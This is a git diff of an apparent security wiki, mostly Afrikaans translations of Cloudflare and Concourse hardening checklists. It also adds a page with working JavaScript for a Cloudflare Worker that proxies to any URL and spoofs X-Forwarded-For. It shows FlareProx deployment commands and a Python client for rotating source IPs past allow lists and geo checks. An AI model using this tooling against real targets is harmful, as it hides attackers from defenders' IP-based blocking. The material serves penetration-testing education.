||||
|
||||
#### **Overview**
|
||||
#### **Oorsig**
|
||||
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teksverkeer** op 'n sekere punt stuur.
|
||||
- [ ] Die **SSL/TLS Aanbeveler** moet geaktiveer wees
|
||||
|
||||
#### Edge Certificates
|
||||
#### Rand Sertifikate
|
||||
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
- [ ] **Gebruik altyd HTTPS** moet **geaktiveer** wees
|
||||
- [ ] **HTTP Streng Vervoer Sekuriteit (HSTS)** moet **geaktiveer** wees
|
||||
- [ ] **Minimum TLS Weergawe moet 1.2 wees**
|
||||
- [ ] **TLS 1.3 moet geaktiveer wees**
|
||||
- [ ] **Outomatiese HTTPS Herskrywings** moet **geaktiveer** wees
|
||||
- [ ] **Sertifikaat Deursigtigheid Monitering** moet **geaktiveer** wees
|
||||
|
||||
### **Security**
|
||||
### **Veiligheid**
|
||||
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Vuurmuur** en **tariefbeperking reëls gebruik word** om misbruik te voorkom.
|
||||
- Die **`Omseil`** aksie sal **Cloudflare se sekuriteits** funksies vir 'n versoek **deaktiveer**. Dit moet nie gebruik word nie.
|
||||
- [ ] In die **`Bladskild`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word
|
||||
- [ ] In die **`API Skild`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige API in Cloudflare blootgestel word
|
||||
- [ ] In die **`DDoS`** afdeling word dit aanbeveel om die **DDoS beskermings** te aktiveer
|
||||
- [ ] In die **`Instellings`** afdeling:
|
||||
- [ ] Kyk dat die **`Veiligheidsvlak`** **medium** of groter is
|
||||
- [ ] Kyk dat die **`Uitdaging Deurgang`** 1 uur maksimum is
|
||||
- [ ] Kyk dat die **`Bladsy Integriteit Kontrole`** **geaktiveer** is
|
||||
- [ ] Kyk dat die **`Privaatheid Pas Ondersteuning`** **geaktiveer** is
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
#### **CloudFlare DDoS Beskerming**
|
||||
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
- As jy kan, aktiveer **Bot Strijd Modus** of **Super Bot Strijd Modus**. As jy 'n API beskerm wat programmaties (van 'n JS front-end bladsy byvoorbeeld) toeganklik is. Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie.
|
||||
- In **WAF**: Jy kan **tariefbeperkings per URL pad** of vir **geverifieerde bots** (Tariefbeperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het.
|
||||
- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tariefbeperking** by vir bots.
|
||||
- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tariefbeperking** in hierdie pad by.
|
||||
- Jy kan ook IP-adresse, IP-reekse, lande of ASN's van die **Gereedskap** in WAF **witlys**.
|
||||
- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheid eksploitasiest te voorkom.
|
||||
- In die **Gereedskap** afdeling kan jy **blokkeer of 'n uitdaging gee aan spesifieke IPs** en **gebruikersagente.**
|
||||
- In DDoS kan jy **sekere reëls oorskry om hulle meer beperkend te maak**.
|
||||
- **Instellings**: Stel **Veiligheidsvlak** op **Hoog** en op **Onder Aanval** as jy Onder Aanval is en dat die **Bladsy Integriteit Kontrole geaktiveer** is.
|
||||
- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tariefbeperking** geaktiveer is
|
||||
- In Cloudflare Domeine -> Veiligheid -> Gebeure -> Kyk vir **gedetekteerde kwaadwillige Gebeure**
|
||||
|
||||
### Access
|
||||
### Toegang
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Speed
|
||||
### Spoed
|
||||
|
||||
_I couldn't find any option related to security_
|
||||
_Ek kon nie enige opsie rakende veiligheid vind nie_
|
||||
|
||||
### Caching
|
||||
### Kas
|
||||
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeergereedskap** te aktiveer
|
||||
|
||||
### **Workers Routes**
|
||||
### **Werkers Roetes**
|
||||
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
_Jy moet reeds_ [_cloudflare workers_](#workers) _gekyk het_
|
||||
|
||||
### Rules
|
||||
### Reëls
|
||||
|
||||
TODO
|
||||
|
||||
### Network
|
||||
### Netwerk
|
||||
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
- [ ] As **`HTTP/2`** **geaktiveer** is, moet **`HTTP/2 na Oorsprong`** **geaktiveer** wees
|
||||
- [ ] **`HTTP/3 (met QUIC)`** moet **geaktiveer** wees
|
||||
- [ ] As die **privaatheid** van jou **gebruikers** belangrik is, maak seker **`Onion Routing`** is **geaktiveer**
|
||||
|
||||
### **Traffic**
|
||||
### **Verkeer**
|
||||
|
||||
TODO
|
||||
|
||||
### Custom Pages
|
||||
### Aangepaste Bladsye
|
||||
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tariefbeperking of ek is onder aanval modus)
|
||||
|
||||
### Apps
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
### Scrape Skild
|
||||
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
- [ ] Kyk of **E-pos Adres Obfuskaie** **geaktiveer** is
|
||||
- [ ] Kyk of **Bediener-kant Uitsluitings** **geaktiveer** is
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,6 +131,3 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
# Misbruik van Cloudflare Workers as pass-through proxies (IP-rotasie, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers kan gedeploy word as deursigtige HTTP pass-through proxies waar die upstream target URL deur die kliënt verskaf word. Versoeke verlaat Cloudflare se netwerk, sodat die teiken Cloudflare IP's sien in plaas van die kliënt se IP. Dit weerspieël die goed-bekende FireProx-tegniek op AWS API Gateway, maar gebruik Cloudflare Workers.
|
||||
|
||||
### Belangrike vermoëns
|
||||
- Support vir alle HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Target kan verskaf word via 'n query-parameter (?url=...), 'n header (X-Target-URL), of selfs gekodeer in die path (bv. /https://target)
|
||||
- Headers en body word deur die proxy deurgegee met hop-by-hop/header filtering soos nodig
|
||||
- Responses word terugge-relay, met behoue status code en meeste headers
|
||||
- Opsionele spoofing van X-Forwarded-For (indien die Worker dit stel vanaf 'n gebruiker-beheerde header)
|
||||
- Uiters vinnige/eenvoudige rotasie deur verskeie Worker endpoints te ontplooi en versoeke te versprei
|
||||
|
||||
### Hoe dit werk (flow)
|
||||
1) Kliënt stuur 'n HTTP-versoek na 'n Worker URL (`<name>.<account>.workers.dev` of 'n custom domain route).
|
||||
2) Worker haal die target uit óf 'n query-parameter (?url=...), die X-Target-URL header, of 'n path-segment indien geïmplementeer.
|
||||
3) Worker stuur die inkomende method, headers, en body na die gespesifiseerde upstream URL (filtreer problematiese headers).
|
||||
4) Upstream response word teruggestroom na die kliënt deur Cloudflare; die oorsprong sien Cloudflare se uitgaande IP's.
|
||||
|
||||
### Worker implementation example
|
||||
- Lees target URL vanaf query param, header, of path
|
||||
- Kopieer 'n veilige substel van headers en stuur die oorspronklike method/body voort
|
||||
- Opsioneel stel X-Forwarded-For deur 'n deur-gebruiker-beheerde header (X-My-X-Forwarded-For) of 'n ewekansige IP te gebruik
|
||||
- Voeg permissiewe CORS by en hanteer preflight
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld Worker (JavaScript) vir pass-through proxying</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatiseer ontplooiing en rotasie met FlareProx
|
||||
|
||||
FlareProx is 'n Python-instrument wat die Cloudflare API gebruik om baie Worker endpoints te ontplooi en oor hulle te roteer. Dit bied FireProx-like IP rotation vanaf Cloudflare se netwerk.
|
||||
|
||||
Opstelling
|
||||
1) Skep 'n Cloudflare API Token met behulp van die “Edit Cloudflare Workers” template en kry jou Account ID vanaf die dashboard.
|
||||
2) Konfigureer FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Skep die konfigurasielêer flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI gebruik**
|
||||
|
||||
- Skep N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Lys endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Gesondheidstoets endpoints:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Verwyder alle endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Verkeer deur 'n Worker herlei**
|
||||
- Vorm van navraagparameters:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Kopvorm:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Padvorm (indien geïmplementeer):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Metodevoorbeelde:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` beheer**
|
||||
|
||||
As die Worker `X-My-X-Forwarded-For` respekteer, kan jy die upstream `X-Forwarded-For` waarde beïnvloed:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Programmatiese gebruik**
|
||||
|
||||
Gebruik die FlareProx-biblioteek om endpoints te skep/lys/toets en versoeke vanaf Python te routeer.
|
||||
|
||||
<details>
|
||||
<summary>Python-voorbeeld: Stuur 'n POST via 'n ewekansige Worker-endpoint</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integrasie**
|
||||
- Wys jou tooling (byvoorbeeld Burp Suite) na die Worker-URL.
|
||||
- Verskaf die werklike upstream met ?url= of X-Target-URL.
|
||||
- HTTP semantics (methods/headers/body) word behou terwyl jou bron-IP agter Cloudflare gemasker word.
|
||||
|
||||
**Operationele notas en perke**
|
||||
- Cloudflare Workers Free plan laat ongeveer 100,000 versoeke/dag per rekening toe; gebruik verskeie endpunte om verkeer te versprei indien nodig.
|
||||
- Workers hardloop op Cloudflare se netwerk; baie teikens sal slegs Cloudflare IPs/ASN sien, wat eenvoudige IP allow/deny-lyste of geo-heuristieke kan omseil.
|
||||
- Gebruik dit verantwoordelik en slegs met magtiging. Respekteer ToS en robots.txt.
|
||||
|
||||
## Verwysings
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
In 'n **Cloudflare Zero Trust Network** rekening is daar 'n paar **instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Useful to **get to know the environment**
|
||||
- [ ] Nuttig om **die omgewing te leer ken**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- [ ] In **`Policies`** is dit moontlik om beleide te genereer om te **beperk** deur **DNS**, **netwerk** of **HTTP** versoek wie toegang tot toepassings kan hê.
|
||||
- As gebruik, kan **beleide** geskep word om die toegang tot kwaadwillige webwerwe te **beperk**.
|
||||
- Dit is **slegs relevant as 'n gateway gebruik word**, indien nie, is daar geen rede om defensiewe beleide te skep nie.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
On each application:
|
||||
Op elke toepassing:
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] Kontroleer **wie** toegang tot die toepassing kan hê in die **Policies** en maak seker dat **slegs** die **gebruikers** wat **toegang nodig het** tot die toepassing toegang kan hê.
|
||||
- Om toegang toe te laat, gaan **`Access Groups`** gebruik word (en **addisionele reëls** kan ook gestel word)
|
||||
- [ ] Kontroleer die **beskikbare identiteitsverskaffers** en maak seker hulle **is nie te oop nie**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Kontroleer dat **CORS nie geaktiveer is nie** (as dit geaktiveer is, kontroleer dat dit **veilig** is en nie alles toelaat nie)
|
||||
- [ ] Koekies moet die **Strict Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is.
|
||||
- [ ] Oorweeg om ook **Browser rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**remote browser isolation hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- [ ] Kontroleer dat die toegangsgroepe wat gegenereer is **korrek beperk** is tot die gebruikers wat hulle moet toelaat.
|
||||
- [ ] Dit is veral belangrik om te kontroleer dat die **standaard toegangsgroep nie te oop is nie** (dit **laat nie te veel mense toe nie**) aangesien **standaard** enige iemand in daardie **groep** toegang tot **toepassings** gaan hê.
|
||||
- Let daarop dat dit moontlik is om **toegang** aan **ELKEEN** te gee en ander **baie oop beleide** wat nie aanbeveel word nie, tensy 100% noodsaaklik.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
- [ ] Kontroleer dat alle diens tokens **verval in 1 jaar of minder**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,15 +50,12 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
- [ ] Jy kan soek na **onverwagte aksies** van gebruikers
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
- [ ] Kontroleer die **plan tipe**
|
||||
- [ ] Dit is moontlik om die **kredietkaart eienaar se naam**, **laaste 4 syfers**, **verval** datum en **adres** te sien
|
||||
- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat nie regtig hierdie diens gebruik nie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,33 @@
|
||||
# Concourse Security
|
||||
# Concourse Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
Concourse laat jou toe om **pypelines** te bou om outomaties toetse, aksies en beelde te bou wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...)
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse Argitektuur
|
||||
|
||||
Learn how the concourse environment is structured in:
|
||||
Leer hoe die concourse omgewing gestruktureer is in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Lab
|
||||
## Concourse Laboratorium
|
||||
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
Leer hoe jy 'n concourse omgewing plaaslik kan uitvoer om jou eie toetse te doen in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
## Enumereer & Aanval Concourse
|
||||
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
Leer hoe jy die concourse omgewing kan enumereer en misbruik in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,38 @@
|
||||
# Concourse Architecture
|
||||
# Concourse Argitektuur
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse Argitektuur
|
||||
|
||||
[**Relevante data uit Concourse dokumentasie:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
### Argitektuur
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
#### ATC: web UI & bou skeduler
|
||||
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
Die ATC is die hart van Concourse. Dit bestuur die **web UI en API** en is verantwoordelik vir alle pyplyn **skedulering**. Dit **verbind met PostgreSQL**, wat dit gebruik om pyplyn data (insluitend bou logs) te stoor.
|
||||
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die skoonmaakmeganisme vir die verwydering van enige ongebruikte of verouderde objekte, soos houers en volumes.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
#### TSA: werker registrasie & forwarding
|
||||
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
Die TSA is 'n **aangepaste SSH bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
Die TSA luister **standaard op poort `2222`**, en is gewoonlik saamgeplaas met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans.
|
||||
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
Die **TSA implementeer CLI oor die SSH-verbinding,** wat [**hierdie opdragte**](https://concourse-ci.org/internals.html#component-tsa) ondersteun.
|
||||
|
||||
